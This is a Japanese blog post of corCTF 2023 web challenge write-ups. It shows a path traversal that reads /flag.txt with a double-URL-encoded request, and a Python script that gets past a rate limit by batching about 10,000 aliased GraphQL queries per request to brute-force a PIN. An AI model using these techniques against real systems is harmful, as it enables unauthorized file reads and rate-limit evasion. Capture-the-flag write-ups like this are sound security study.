はまやんはまやんはまやん

hamayanhamayan's blog

corCTF 2023 Writeups

[web] msfrognymize

おなじみのカエルの画像ジェネレータの問題。
app.pyの以下が怪しいポイント。

@app.route('/anonymized/<image_file>')
def serve_image(image_file):
    file_path = os.path.join(UPLOAD_FOLDER, unquote(image_file))
    if ".." in file_path or not os.path.exists(file_path):
        return f"Image {file_path} cannot be found.", 404
    return send_file(file_path, mimetype='image/png')

python3のjoinは以下のような挙動をするので、パストラバーサルに使える。

>>> import os
>>> print(os.path.join('/home', 'flag.txt'))
/home/flag.txt
>>> print(os.path.join('/home', '/flag.txt'))
/flag.txt

なので、file_pathに/flag.txtが入れられればフラグが得られそう。
単純に/anonymized//flag.txtのようにしても(たぶんFlaskが)URLを標準化する感じでリダイレクト処理が走ってしまう。
だが、コード内でunquoteをわざわざ読んでいるのがミソで以下のようにURLエンコーディングを2重でかけると、
この標準化を無視できてパストラバーサルできる。

GET /anonymized/%252fflag.txt HTTP/1.1
Host: msfrognymize.be.ax
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.110 Safari/537.36
Connection: close

[web] force

graphqlのPINのログイン画面が与えられる。
重要そうな部分を抜粋すると以下のようなソースコード

const secret = randomInt(0, 10 ** 5); // 1 in a 100k??

let requests = 10;

await app.register(mercurius, {
    schema: `type Query {
        flag(pin: Int): String
    }`,
    resolvers: {
        Query: {
            flag: (_, { pin }) => {
                if (pin != secret) {
                    return 'Wrong!';
                }
                return process.env.FLAG || 'corctf{test}';
            }
        }
    },
    routes: false
});

app.post('/', async (req, res) => {
    if (requests <= 0) {
        return res.send('no u')
    }
    requests --;
    return res.graphql(req.body);
});

総当たりの対策もされていて、攻撃の余地が無さそうに見えるが…
この前出たFlatt Security mini CTF #2での知識が役に立った。
Flatt Security mini CTF #2 Writeups - はまやんはまやんはまやん
aliasを使えば同一種類のクエリを複数個書くことができる。
つまり1リクエストに複数の確認試行ができることになる。
{flag(pin: 1234),flag(pin: 1235)}とやるとエラーになるが、aliasを使い{a:flag(pin: 1234),b:flag(pin: 1235)}とするとエラーにならない。

これで、リクエスト単位では60秒に10個と制限されているが、1リクエストで大量のPIN確認試行を行える。
試すと104個は一気にテストできるので、10回制限と合わせて一気に105個テストでき、必ずフラグを得ることができる。
以下のようなPOCを書くと出力にフラグが含まれてくる。

import requests
import threading
import time

ROOT = 'https://web-force-force-853ab455478306b4.be.ax'

print('[+] waiting to reset the limitation...')
time.sleep(10)

print('[+] START')

for j in range(10):
    payload = "{"
    for i in range(10000):
        x = j * 10000 + i
        payload += f"x{x}:flag(pin:{x}),"
    payload += "}"
    print(requests.post(ROOT + '/', data=payload, headers={'Content-Type':'text/plain;charset=UTF-8'}).text)

print('[+] END')